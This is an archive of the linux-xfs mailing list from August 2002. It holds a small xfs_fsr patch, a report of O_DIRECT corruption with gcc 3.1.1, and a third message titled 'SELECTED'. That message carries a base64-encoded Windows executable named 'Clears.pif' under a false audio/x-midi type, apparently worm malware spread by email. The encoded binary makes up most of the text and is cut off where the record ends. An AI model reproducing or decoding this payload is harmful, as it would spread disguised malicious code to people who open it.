trigger Message-ID: <20020828095751.GD567@fruit.eu.org> Mail-Followup-To: linux-xfs@oss.sgi.com Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline User-Agent: Mutt/1.4i X-oi: oi Content-Transfer-Encoding: 8bit X-archive-position: 104 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: wsl@fruit.eu.org Precedence: bulk X-list: linux-xfs oi! I noticed that mapcheck gives errors after running xfs_fsr. Below is a small patch to alleviate this problem. However, I would personally feel that the problem is not in xfs_fsr but inside the truncate() system call. The truncate() call should take care of cleaning the last block, IMHO. Thanks, -- Wessel Dankers --- xfsdump/fsr/xfs_fsr.c 2002-06-06 00:12:33.000000000 +0200 +++ xfsdump/fsr/xfs_fsr.c 2002-08-28 11:23:39.000000000 +0200 @@ -1156,6 +1156,7 @@ */ if (ct % dio_min != 0) { wc = ct + dio_min - (ct % dio_min); + bzero(fbuf + ct, wc - ct); } else { wc = ct; } -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9bJ6fwSIMlSIEfyYRAhalAJ4hMhtTOfnT715W8a/oYbS0sJ+CagCaAv2i dnPTq0zDsij9+vD4FmEJ//4= =u5pa -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Wed Aug 28 03:00:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 03:00:57 -0700 (PDT) Received: from fruit.eu.org (qmailr@34dyn12.com21.casema.net [212.64.15.12]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SA0rtG031374 for ; Wed, 28 Aug 2002 03:00:54 -0700 Received: (qmail 8937 invoked by uid 500); 28 Aug 2002 10:04:24 -0000 Date: Wed, 28 Aug 2002 12:04:24 +0200 From: Wessel Dankers To: linux-xfs@oss.sgi.com Subject: on gcc versions Message-ID: <20020828100424.GE567@fruit.eu.org> Mail-Followup-To: linux-xfs@oss.sgi.com Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline User-Agent: Mutt/1.4i X-oi: oi Content-Transfer-Encoding: 8bit X-archive-position: 105 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: wsl@fruit.eu.org Precedence: bulk X-list: linux-xfs oi! FYI, I have had some problems lately with a kernel that was compiled with gcc 3.1.1. The problem did not occur when I compiled it for my Athlon, but when the target was a Pentium MMX or an AMD K6, O_DIRECT would fail and corrupt the file. This problem is not particular to XFS (ext2 had similar corruption) but it is especially relevant to XFS systems because xfs_fsr (the XFS defragmentation utility) uses O_DIRECT. A kernel that was compiled with gcc 2.95.4 functioned properly. I have not had an opportunity to test other compilers such as 3.0 and 3.2. Regards, -- Wessel Dankers -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9bKAowSIMlSIEfyYRAq6GAKCjAFDR4b+MwVq6nfUyzsCSqdgyOACaAns0 IBVo5IEpR6zZkbXfKJKBEUE= =Qdi0 -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Wed Aug 28 03:49:20 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 03:49:25 -0700 (PDT) Received: from ady.hdsnet.hu (adyisk.hdsnet.hu [213.157.181.55]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7SAnCtG032258 for ; Wed, 28 Aug 2002 03:49:14 -0700 Received: from Ywxxu ([192.168.0.12]) by ady.hdsnet.hu (8.9.3/8.9.3) with SMTP id MAA18676 for ; Wed, 28 Aug 2002 12:53:15 +0200 Date: Wed, 28 Aug 2002 12:53:15 +0200 Message-Id: <200208281053.MAA18676@ady.hdsnet.hu> From: kosiki To: linux-xfs@oss.sgi.com Subject: SELECTED MIME-Version: 1.0 Content-type: text/plain Content-Transfer-Encoding: 8bit X-archive-position: 106 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kosiki@sulinet.hu Precedence: bulk X-list: linux-xfs --Q8714e2L66enF661u68kOrxZ6 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --Q8714e2L66enF661u68kOrxZ6 Content-Type: audio/x-midi; name=Clears.pif Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 